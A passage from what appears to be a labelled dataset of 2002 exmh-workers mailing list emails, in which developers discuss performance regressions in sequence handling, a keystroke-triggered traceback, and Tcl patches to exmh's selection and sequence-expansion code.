/home/valdis/Mail/xemacs/.mh_sequences 14:09:03 xemacs has 1 msgs in pseq 14:09:03 Flist_Done And it takes a hit even if there's no new mail: 14:11:03 Background_DoPeriodic flist 14:11:03 Flist_FindSeqs reset=0 14:11:03 FlistFindStart reset=0 active=0 14:11:12 Flist_Done 14:11:12 Flist_FindSeqs end {9018315 microseconds per iteration} I'm perfectly willing to can-opener that code and see where the CPU is going, but only if nobody is slapping their forehead and mumbling about a brown-paper-bag bug... ;) -- Valdis Kletnieks Computer Systems Senior Engineer Virginia Tech --==_Exmh_-1913987426P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQE9anH1cC3lWbTT17ARAvzuAKDShPISux8PrLitv4WIzUiCxfj60gCgvEPy QnWKrjGimFVroJcIHICt2e4= =T3wR -----END PGP SIGNATURE----- --==_Exmh_-1913987426P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Valdis.Kletnieks@vt.edu,"Mon, 26 Aug 2002 13:39:47 -0500",Re: Exmh && speed,"--==_Exmh_1581673767P Content-Type: text/plain; charset=us-ascii > From: Valdis.Kletnieks@vt.edu > Date: Mon, 26 Aug 2002 14:22:46 -0400 > > I'm perfectly willing to can-opener that code and see where the CPU is > going, but only if nobody is slapping their forehead and mumbling about > a brown-paper-bag bug... ;) As I mentioned in my email to Anders, it's certainly in my code and I don't have time to work on it right now, so I would not be offended if you worked on it. I just this moment found out that my partner has promised a few things would be done before my vacation that will require my efforts, so it's even more true that it was when I sent the mail to Anders. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1581673767P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9anXzK9b4h5R0IUIRAqiEAJsEF+hfbYPkHDm0L6E8Q+a7yy/0pACcDZXl u6aC2B1PKjc336D56TZvdxc= =x6ru -----END PGP SIGNATURE----- --==_Exmh_1581673767P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,exmh-workers@spamassassin.taint.org,"Tue, 27 Aug 2002 00:34:43 +0200",Re: Exmh && speed,"cwg-dated-1030817858.a49b7e@DeepEddy.Com said: > From: Anders Eriksson > Date: Mon, 26 Aug 2002 20:00:36 +0200 > > > lately I've got the feeling that exmh is getting slower and slower. I > just decided to check that vs. reality, and yes, speed has left the > scene somewhere between the release of 2.5 and now. > > I checked on a number of small messages in a big folder (~10000 > msgs). The delay of the Next button has increased considerably: > > 2.5-release: 350-450 msec > latest cvs: 1000-12000 msec > > Frankly I think this is getting close to non-acceptable since the > user settings hasn't changed. > > Anybody have any ideas where performance disappeared? > Most likely in the added overhead of managing more sequences. > I'm sure it can be tuned a bunch, but as I'm leaving for a vacation on > Friday, and have plenty of ""real work"" to do, I won't be able to do > much until I get back. > I *will* look at all this when I get back, but if you want to check > into what's slow and fix things while I'm gone, my feelings won't be > hurt. > Chris Just one more info. I measured the time spent wrapping the stuff in Ftoc_Next with time {} so the data is for real. One difference between mine and Valdis' setup (judging from his trace) is that I use the address book. I've been doing that for ages so that can't be the problem. Is there a way to get the log to print time with higher granularity? /A _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,Valdis.Kletnieks@vt.edu,"Tue, 27 Aug 2002 00:38:05 +0200",Re: Exmh && speed,"Valdis.Kletnieks@vt.edu said: > I checked on a number of small messages in a big folder (~10000 > msgs). The delay of the Next button has increased considerably: > > 2.5-release: 350-450 msec > latest cvs: 1000-12000 msec > I'm not seeing a hit on 'next'. A quick ""just pound on 'next' and > watch the wall clock"" test shows me able to go through 20 messages in > under 5 seconds, so it's well under 250ms per switch, but I'm seeing a > really piggy CPU spike (100% for a few seconds) in the 'flist' code. > Of course, it seems to be related to number-of-folders: > [~] wc Mail/.folders > 131 131 1122 Mail/.folders I have 167 folders (!) and run with bg-proc set to flist (1 minute). I see delays, but not that much. Maybe 1-3 seconds (which tend to disappear these days). This is on a PII-266. BR, /A _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Anders Eriksson ,"Mon, 26 Aug 2002 17:45:03 -0500",Re: Exmh && speed,"--==_Exmh_-1977488590P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Tue, 27 Aug 2002 00:34:43 +0200 > > Just one more info. I measured the time spent wrapping the stuff in > Ftoc_Next with time {} so the data is for real. One difference > between mine and Valdis' setup (judging from his trace) is that I use > the address book. I've been doing that for ages so that can't be the > problem. Assuming it's my fault (which it probably is since nobody else has really been in there), it's most likely related to the number of sequences in a folder. I'd guess that something is either being called that shouldn't be or is being called more times than it should be. > Is there a way to get the log to print time with higher granularity? Not that I'm aware of. If you look in the code, there are various places where the time function is called in order to see how long it took to do things. You'll probably want to borrow that technique. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-1977488590P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9aq9vK9b4h5R0IUIRAkZrAJ4uCzn3j+5JlaqhDeEOVBMZlSATqwCdGO8z gy5px3yMpRraa8JkwHRwmM0= =fGBe -----END PGP SIGNATURE----- --==_Exmh_-1977488590P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Brent Welch ,Chris Garrigues ,"Mon, 26 Aug 2002 18:16:59 -0700",Re: New Sequences Window,">>>Chris Garrigues said: > Done. I also eliminated the msgs variable on the theory that simpler is > > better (I spent a lot of time hacking out the underbrush in exmh while > working on the sequences window). Just a big *thank you* to Chris for being willing to dive in and get very messy. The sequence management code is some of the very oldest in exmh, and surely suffered as features were added over several years. When this stabilizes, it will be a great excuse for a 2.6 release. -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Chris Garrigues ,"Tue, 27 Aug 2002 15:58:58 +0700",Re: Anolther sequence related traceback,"Date: Mon, 26 Aug 2002 09:27:56 -0500 From: Chris Garrigues Message-ID: <1030372078.11075.TMDA@deepeddy.vircio.com> | Tell me what keystroke made it happen so I can reproduce it and I'll | see what I can do about it (or if I can't, I'll hand it off to Brent). Don't worry too much about it, you seem to have plenty of other things to do in the immediate future, and this one isn't so critical that people can't use the code in normal ways. But, to make it happen, type (with normal key bindings) any digit, so the code thinks you're trying a message number, then backspace, so the digit goes away, then '-' (other junk characters don't seem to have the problem, I have just been playing). That will do it (every time). That is: 0 ^h - Once you get into that state, the same traceback occurs for every character you type, until a message is selected with the mouse. This is looking like it might be easy to find and fix, so I'll take a look at it later. kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Brent Welch ,Robert Elz ,"Tue, 27 Aug 2002 18:08:12 -0700",Re: Anolther sequence related traceback,"You can also duplicate thiswith MsgChange - noshow at the Tcl prompt in the Log window. I suspect that the sequence parser, which understands things like 5-22 to mean messages 5 through 22 is confused when asked to add/remove message ""-"" from a sequence. If we are allowed to assume 8.2 or higher, which we can't really, then we could add if {![string is integer $select(sel)]} { # bail out of message select mode } to the SelectTypein procedure. We can probably survive with if {![regexp {^[0-9]+$} $select(sel)]} { #bail out of message select mode } >>>Robert Elz said: > Date: Mon, 26 Aug 2002 09:27:56 -0500 > From: Chris Garrigues > Message-ID: <1030372078.11075.TMDA@deepeddy.vircio.com> > > | Tell me what keystroke made it happen so I can reproduce it and I'll > | see what I can do about it (or if I can't, I'll hand it off to Brent). > > Don't worry too much about it, you seem to have plenty of other things > to do in the immediate future, and this one isn't so critical that people > can't use the code in normal ways. > > But, to make it happen, type (with normal key bindings) any digit, so the > code thinks you're trying a message number, then backspace, so the digit > goes away, then '-' (other junk characters don't seem to have the > problem, I have just been playing). That will do it (every time). > > That is: 0 ^h - > > Once you get into that state, the same traceback occurs for every > character you type, until a message is selected with the mouse. > > This is looking like it might be easy to find and fix, so I'll take a > look at it later. -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 kchrist@lsil.com,Brent Welch ,"Tue, 27 Aug 2002 22:11:41 -0600",Re: Anolther sequence related traceback,"I may be wrong but I think a single select entry field is used for selecting messages and switching folders. Restricting the entries to be numeric would break the folder switching functionality, wouldn't it? My version of MsgChange, not yet updated, has a check if {$msgid != {}} { # Allow null msgid from Msg_ShowWhat, which supplies line instead if {$msgid < 0} return } else { ... at the start of the procedure which takes care of the single '-' case. Perhaps the thing to do is for MsgChange to validate a msgid as a number before continuing. Kevin In message <200208280108.VAA30178@blackcomb.panasas.com>, Brent Welch writes: > You can also duplicate thiswith > > MsgChange - noshow > > at the Tcl prompt in the Log window. I suspect that the sequence > parser, which understands things like 5-22 to mean messages 5 through 22 > is confused when asked to add/remove message ""-"" from a sequence. > > If we are allowed to assume 8.2 or higher, which we can't really, then > we could add > > if {![string is integer $select(sel)]} { > # bail out of message select mode > } > to the SelectTypein procedure. > > We can probably survive with > > if {![regexp {^[0-9]+$} $select(sel)]} { > #bail out of message select mode > } > > >>>Robert Elz said: > > Date: Mon, 26 Aug 2002 09:27:56 -0500 > > From: Chris Garrigues m> > > Message-ID: <1030372078.11075.TMDA@deepeddy.vircio.com> > > > > | Tell me what keystroke made it happen so I can reproduce it and I'll > > | see what I can do about it (or if I can't, I'll hand it off to > Brent). > > > > Don't worry too much about it, you seem to have plenty of other things > > to do in the immediate future, and this one isn't so critical that people > > can't use the code in normal ways. > > > > But, to make it happen, type (with normal key bindings) any digit, so the > > code thinks you're trying a message number, then backspace, so the digit > > goes away, then '-' (other junk characters don't seem to have the > > problem, I have just been playing). That will do it (every time). > > > > That is: 0 ^h - > > > > Once you get into that state, the same traceback occurs for every > > character you type, until a message is selected with the mouse. > > > > This is looking like it might be easy to find and fix, so I'll take a > > look at it later. > > > -- > Brent Welch > Software Architect, Panasas Inc > Pioneering the World's Most Scalable and Agile Storage Network > www.panasas.com > welch@panasas.com > > > > > _______________________________________________ > Exmh-workers mailing list > Exmh-workers@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-workers _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Brent Welch ,"Wed, 28 Aug 2002 09:04:20 +0700",Re: Anolther sequence related traceback,"Date: Tue, 27 Aug 2002 18:08:12 -0700 From: Brent Welch Message-ID: <200208280108.VAA30178@blackcomb.panasas.com> | If we are allowed to assume 8.2 or higher, which we can't really, then | we could add [...] | to the SelectTypein procedure. Yes, I looked at ""fixing"" it there, but that code is really quite general, with almost no understanding of what anything means, so I didn't think that corrupting it with knowlwedge of the semantics of what it is fetching would really be the best thing to do. I ran out of time last night while looking for a better place for a similar check (I would have gone directly to the regexp - I'm not that up to date with all the latest tcl changes...) and I'm not sure I will have time today, but I will keep looking. kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Brent Welch ,"Wed, 28 Aug 2002 13:51:21 +0700",Re: Anolther sequence related traceback,"I have some patches that seem to fix/avoid this problem now. (It is amazing what one can achieve when mains power fails, long enough for UPS's to run out, and all that is left operational is the laptop and its battery supply...) First, I put in some defensive code into the area where the problem was occurring, so that if exmh is attempting (for any reason) to expand a sequence that isn't either a number, or a range of numbers (or a list of such things) it will simply ignore the trash, rather than giving a traceback. This one solves the initial problem: --- mh.tcl.WAS Thu Aug 22 21:15:06 2002 +++ mh.tcl Wed Aug 28 12:39:11 2002 @@ -487,6 +487,10 @@ set seq {} set rseq {} foreach range [split [string trim $sequence]] { + if ![regexp {^[0-9]+(-[0-9]+)?$} $range] { + # just ignore anything bogus + continue; + } set parts [split [string trim $range] -] if {[llength $parts] == 1} { lappend seq $parts That is amending proc MhSeqExpand which is where the error was occurring before (the code assumes that $range is either NNN or NNN-MMM so we should probably make sure that's true - issue an error instead of just ""continue"" if you like, but I don't think an error is needed). But that just allowed me to create a similar problem, in another place, by typing ""NNN-"" ... and rather than continue to fight fires like this, I thought I should think more about Brent's suggestion. But rather than have the selection code actually validate the input, which would mean it would have to know what is to be valid, I decided that the right thing to do is just to ignore any errors caused by invalid input, so I just stuck a ""catch"" around the MsgShow that is processing the nonsense that the user has typed. This way, any later expansion to what MsgShow treats as legal (maybe allowing a sequence name, like ""prev"" or ""next"", or anything else can be handled just there, without someone needing to remember that they have to go fix the selection processing code to allow it. But, while I was playing there, I noticed something I never new before. If you type ""66+"" the ""66"" changes to ""67"" (and so on, for each + that is typed). I suspect that's perhaps an artifact of ""+ is bound to a different function so it can be used as a toggle between changing the current and the target folder, but it has to mean something if the current input mode is a message number, so let it mean..."", but now I found it, I think its nice. But if we can type 66+ why not 66- as well? That kind of limitation bugs me, so I fixed it. And then I wondered about folders with names containing '+' - the special use of + as the toggle character means there's no way to type those from the keyboard. So I fixed that as well. This makes two different restrictions - there's no way to type a folder name that has a name beginning with '+' (but such a thing in MH would be a pain to use anyway, so I doubt this will bother anyone), and it is now only possible to toggle between typing the current & target folder name when the name being typed is empty. I'm less happy about that part, but I think I can live with it in order to allow folder names with +'s in them to exist and be typed. Then, since I was there anyway, I decided to do something about another feature that has always bugged me. In ""normal"" keyboard mode, 's' is the key used to show a message. But if you've just typed 123, and the FTOC is highlighting 123 as the current message, and you want to now show that message, you can't type 's', you have to type \r instead. So I ""fixed"" this one as well. ""Fixed"" here is in quotes, as it assumes that the keybinding for MsgShow is 's', if you change that to something else, it will remain 's' in here. I don't know enough tk/tcl to have it discover what key is bound to a function in the external world in order to bind the same one here. \r continues to work of course. And now I got started in fixing irritants in this code, I also made it clear the status line if you abort message/folder entry mode (^C or ^G). Previously it used to leave the prompt sitting there until the next message appeared, which made it less than obvious that the keyboard had reverted to its usual bindings. In any case, what follows is the patch that does all of that. I believe that if you apply this, then the one above is probably not needed, the ""catch"" around the ""MsgShow"" will hide the problem (I don't think we really need to fix Brent's way of invoking it). Or include it anyway, just for completeness (I haven't run an exmh with the following patch, but not the previous one, so I don't know for sure that all will be OK then). kre --- select.tcl.WAS Thu Aug 22 21:15:07 2002 +++ select.tcl Wed Aug 28 13:36:17 2002 @@ -49,9 +49,11 @@ bindtags $w [list $w Entry] bind $w {SelectTypein %W %A} bind $w {SelectToggle %W } + bind $w {SelectPrev %W } bind $w {SelectComplete %W} bind $w {SelectComplete %W} bind $w {SelectReturn %W} + bind $w {SelectReturn %W %A} bind $w {SelectBackSpace %W} bind $w {SelectBackSpace %W} bind $w {SelectBackSpace %W} @@ -72,7 +74,7 @@ append select(sel) $a Exmh_Status ""$select(prompt) $select(sel)"" if ![info exists select(folder)] { - Msg_Change $select(sel) noshow + catch { Msg_Change $select(sel) noshow } } } proc SelectBackSpace { w } { @@ -91,6 +93,10 @@ proc SelectToggle {w} { global select if [info exists select(folder)] { + if {$select(sel) != """"} { + SelectTypein $w + + return + } set select(toggle) [list [lindex $select(toggle) 1] [lindex $select(toggle) 0]] set select(prompt) ""[lindex $select(toggle) 0] Folder:"" } else { @@ -101,6 +107,18 @@ } Exmh_Status ""$select(prompt) $select(sel)"" } +proc SelectPrev {w} { + global select + if [info exists select(folder)] { + SelectTypein $w ""-"" + } else { + catch { + incr select(sel) -1 + Msg_Change $select(sel) noshow + } + Exmh_Status ""$select(prompt) $select(sel)"" + } +} proc SelectComplete { w } { global select if [info exists select(folder)] { @@ -126,9 +144,13 @@ Exmh_Status ""$select(prompt) $select(sel)"" } } -proc SelectReturn { w } { +proc SelectReturn { w {a {}} } { global select if [info exists select(folder)] { + if {$a != {}} { + SelectTypein $w $a + return + } if [info exists select(match)] { set select(sel) $select(match) unset select(match) @@ -151,6 +173,7 @@ unset select(folder) } $select(entry) configure -state disabled + Exmh_Status """" Exmh_Focus } proc SelectClear { w } { _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,"Brent Welch ,","Wed, 28 Aug 2002 15:50:55 +0700",Re: Anolther sequence related traceback,"Date: Wed, 28 Aug 2002 13:51:21 +0700 From: Robert Elz Message-ID: <18366.1030517481@munnari.OZ.AU> | But, while I was playing there, I noticed something I never new before. I also no the difference between new & knew, but I don't always type well... Um, I mean, I know the difference... kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Chris Garrigues ,"Wed, 28 Aug 2002 21:06:30 +0700",Re: New Sequences Window,"Date: Thu, 22 Aug 2002 10:04:06 -0500 From: Chris Garrigues Message-ID: <1030028647.6462.TMDA@deepeddy.vircio.com> | hmmm, I assume you're going to report this to the nmh folks? It turns out, when I did some investigation, that my memory of how MH worked here was wrong (that's not unusual) - the -seq switch seems to have always done -nolist (requiring a subsequent -list to turn it on again). Given that, I have no idea how the pick code as it was ever worked. In fact, it quite possibly never did the way it was intended to (I have just been browsing the 2.5 sources, and that seems to be attempting to do things that I never saw happen). It may be that your new sequence method just exposed the bug that had been there all along. Given this, I won't be sending any bug reports to the nmh people. If nmh ever seems to be showing any signs further progress, and if I remember this then, I might send them a change request. The code to make the change is trivial. kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Robert Elz ,"Wed, 28 Aug 2002 09:22:34 -0500",Re: New Sequences Window,"--==_Exmh_-695600198P Content-Type: text/plain; charset=us-ascii > From: Robert Elz > Date: Wed, 28 Aug 2002 21:06:30 +0700 > > It may be that your new sequence method just exposed the bug that had been > there all along. *grin* That's what the past 3 or 4 months of exmh hacking has been all about for me. I've now stabilized everything pretty well for my paid job, so I'll probably poke around at the sequences performance issues, but rather than checking changes in, I'll email anything I figure out since I'm leaving town in less than 48 hours. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-695600198P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9bNyqK9b4h5R0IUIRAl7bAJ9ZjEqTQ4/rok/bB4bhULQSSqUADACdGdHI egb2mI4CHykNVjHsUq07F3s= =gxds -----END PGP SIGNATURE----- --==_Exmh_-695600198P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Chris Garrigues ,"Wed, 28 Aug 2002 21:44:26 +0700",Re: New Sequences Window,"Date: Wed, 28 Aug 2002 09:22:34 -0500 From: Chris Garrigues Message-ID: <1030544555.28815.TMDA@deepeddy.vircio.com> | so I'll probably poke around at the sequences performance issues, Well, there's this wonderful piece of code in MhSeqExpand ... # Hack to weed out sequence numbers for messages that don't exist foreach m $rseq { if ![file exists $mhProfile(path)/$folder/$m] { Exmh_Debug $mhProfile(path)/$folder/$m not found set ix [lsearch $seq $m] set seq [lreplace $seq $ix $ix] } else { # Real hack break } } which is going to run slow if a sequence happens to start with a bunch of messages that don't exist. I'm not sure why it is important that the first message in the sequence returned exists, but not necessarily any of the others, but I'm sure glad it is, as MhSeqExpand gets called lots, and I don't know if I could cope if it were checking every file in the sequences it is looking at, all the time... It may help to keep a list of the valid message numbers for the current folder (though that would then need to be verified against changes to the directory). Does tcl have a directory read function? I assume so... Mh_Sequence also goes and rereads the files (.mh_sequences and the context file) but I'm not sure how frequently that one is called. | I'll email anything I figure out since I'm leaving town in less | than 48 hours. Have a good vacation. kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Robert Elz ,"Wed, 28 Aug 2002 10:39:59 -0500",Re: New Sequences Window,"--==_Exmh_893671157P Content-Type: text/plain; charset=us-ascii > From: Robert Elz > Date: Wed, 28 Aug 2002 21:44:26 +0700 > > Date: Wed, 28 Aug 2002 09:22:34 -0500 > From: Chris Garrigues > Message-ID: <1030544555.28815.TMDA@deepeddy.vircio.com> > > > | so I'll probably poke around at the sequences performance issues, > > Well, there's this wonderful piece of code in MhSeqExpand ... > > # Hack to weed out sequence numbers for messages that don't exist > foreach m $rseq { > if ![file exists $mhProfile(path)/$folder/$m] { > Exmh_Debug $mhProfile(path)/$folder/$m not found > set ix [lsearch $seq $m] > set seq [lreplace $seq $ix $ix] > } else { > # Real hack > break > } > } > > which is going to run slow if a sequence happens to start with a bunch > of messages that don't exist. I'm not sure why it is important that the > first message in the sequence returned exists, but not necessarily any > of the others, but I'm sure glad it is, as MhSeqExpand gets called lots, > and I don't know if I could cope if it were checking every file in the > sequences it is looking at, all the time... Although my fingerprints are all over that, it's not actually my code and has been in there since before 1998. (It's code that I moved from mh.tcl to sequences.tcl and back again). I'm no5 sure either, but it should be a one-time penalty because the sequence will be re-written with the bad messages removed. (I think.) > It may help to keep a list of the valid message numbers for the current > folder (though that would then need to be verified against changes to the > directory). Does tcl have a directory read function? I assume so... > > Mh_Sequence also goes and rereads the files (.mh_sequences and the > context file) but I'm not sure how frequently that one is called. That *was* a problem, but if you look at Mh_Sequence (and Mh_Sequences and Mh_SequenceUpdate), they all call MhReadSeqs to do the actual reading and it only reads the sequences if the file has been touched. Look for the ""Exmh_Debug Reading $filename"" output in the debug log to see when sequences are actually reread from disk. My theory is that Ftoc_ShowSequences is being called too often. I'm about to investigate that. > | I'll email anything I figure out since I'm leaving town in less > | than 48 hours. > > Have a good vacation. Thanks. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_893671157P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9bO7PK9b4h5R0IUIRAqBBAJ4uhmwloTb4sSG6jDwcm0ul4RvDegCfe8no +6oHNBLG/UnfWMlQoaSidZA= =44Ra -----END PGP SIGNATURE----- --==_Exmh_893671157P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Anders Eriksson ,"Wed, 28 Aug 2002 11:07:01 -0500",Re: Exmh && speed,"--==_Exmh_927886807P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Mon, 26 Aug 2002 20:00:36 +0200 > > > lately I've got the feeling that exmh is getting slower and slower. I > just decided to check that vs. reality, and yes, speed has left the > scene somewhere between the release of 2.5 and now. > > I checked on a number of small messages in a big folder (~10000 > msgs). The delay of the Next button has increased considerably: > > 2.5-release: 350-450 msec > latest cvs: 1000-12000 msec > > Frankly I think this is getting close to non-acceptable since the > user settings hasn't changed. > > Anybody have any ideas where performance disappeared? Here's a fix that I think will make a real difference. Ftoc_ShowSequences needs to be able to be called with an optional list of msgids to update and if it's called that way it only removes or adds tags for those messages. Then in places like MsgChange, we only update the messages which have changed. Also, a separate Ftoc_ShowSequence function which only updates the display of one sequence should be written which also takes an optional list of msgids. In a place like MsgChange, it would only need to update the cur sequence. If nobody else gets to it, I'll do this when I get back. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_927886807P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9bPUlK9b4h5R0IUIRAqCdAJkBYATj6wLY6RM/EPECD3yGkXMXVgCcDADM 4n+q/8HdvWmkRlGJn3lUb1M= =Rd2E -----END PGP SIGNATURE----- --==_Exmh_927886807P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Brent Welch ,Robert Elz ,"Wed, 28 Aug 2002 10:32:42 -0700",Re: New Sequences Window,">>>Robert Elz said: > Date: Wed, 28 Aug 2002 09:22:34 -0500 > From: Chris Garrigues > Message-ID: <1030544555.28815.TMDA@deepeddy.vircio.com> > > > | so I'll probably poke around at the sequences performance issues, > > Well, there's this wonderful piece of code in MhSeqExpand ... > > # Hack to weed out sequence numbers for messages that don't exist > foreach m $rseq { > if ![file exists $mhProfile(path)/$folder/$m] { > Exmh_Debug $mhProfile(path)/$folder/$m not found > set ix [lsearch $seq $m] > set seq [lreplace $seq $ix $ix] > } else { > # Real hack At least I'm up-front about my hacks :-) > break > } > } > > which is going to run slow if a sequence happens to start with a bunch > of messages that don't exist. I'm not sure why it is important that the > first message in the sequence returned exists, but not necessarily any > of the others, but I'm sure glad it is, as MhSeqExpand gets called lots, > and I don't know if I could cope if it were checking every file in the > sequences it is looking at, all the time... That was my thinking. My recollection about the first message being valid is that the ftoc code wants to find that message to start its highlighting, for example, or you are selecting a message to display. > It may help to keep a list of the valid message numbers for the current > folder (though that would then need to be verified against changes to the > directory). Does tcl have a directory read function? I assume so... glob -nocomplain $mhProfile(path)/$folder * will return an unsorted list of the directory's contents. But the thought of keeping an in memory list of valid messages is not fun. Exmh already maintains in-core lists of messages in sequences, which is already pretty tricky > Mh_Sequence also goes and rereads the files (.mh_sequences and the > context file) but I'm not sure how frequently that one is called. In some places I maintain caches of files by checking their modify time, but the sequence files are soo small that by the time you stat them to check their date stamp, you could just read them again. Also, now that we checkpoint message state on every message view, that file will change every time. In the old days exmh used to cache a bunch of state about the folder. -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Brent Welch ,"Wed, 28 Aug 2002 14:25:47 -0500",Re: New Sequences Window,"--==_Exmh_1089505257P Content-Type: text/plain; charset=us-ascii > From: Brent Welch > Date: Wed, 28 Aug 2002 10:32:42 -0700 > > > >>>Robert Elz said: > > Mh_Sequence also goes and rereads the files (.mh_sequences and the > > context file) but I'm not sure how frequently that one is called. > > In some places I maintain caches of files by checking their modify time, > but the sequence files are soo small that by the time you stat them to > check their date stamp, you could just read them again. Do you really think this is true? I added a modify time check thinking that it would make an improvement since we were reading it a *lot* more times in the new code because we're trying to use the sequences. On the other hand, the sequences files are probably being read out of cache when that happens anyway. Even with a small file, I'd think that the time taken to do a [file mtime $filename] would be worth it. My code is in proc MhReadSeqs. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1089505257P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9bSO7K9b4h5R0IUIRArNLAKCEDkKX52y2P9sdtrcPsgTEmGZhBgCfe2QY VNJN/s+r1/dmpUA2v+Gihc4= =wxvL -----END PGP SIGNATURE----- --==_Exmh_1089505257P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Brent Welch ,Chris Garrigues ,"Wed, 28 Aug 2002 22:40:21 -0700",Re: New Sequences Window,"Well, I've used the check-the-modify-time cache trick for files in many places (not just exmh) so some part of me certainly thinks it is effective. However, it occurred to me that if we do checkpoint state, then aren't we modifying the sequences file for the current folder on every message read? Perhaps we look at the sequences file more than once per message view? Just idle speculation - we can stick in some time calls to find out how expensive things are. Someone asked about increasing the time resolution in the exmh log. We could make that conditional on some support available in 8.3 - Tcl has had ""clock seconds"" (like gettimeofday) and ""clock clicks"" (high resolution timer) for some time. But in 8.3 we've calibrated clock clicks values to microseconds. It is still only useful for relative times, but each call to Exmh_Log could emit the microsecond delta since the last log record. Of course, we are measuring all the overhead of taking the log record, etc. I'll try it out. >>>Chris Garrigues said: > > From: Brent Welch > > Date: Wed, 28 Aug 2002 10:32:42 -0700 > > > > > > >>>Robert Elz said: > > > Mh_Sequence also goes and rereads the files (.mh_sequences and the > > > context file) but I'm not sure how frequently that one is called. > > > > In some places I maintain caches of files by checking their modify > time, > > but the sequence files are soo small that by the time you stat them to > > check their date stamp, you could just read them again. > > Do 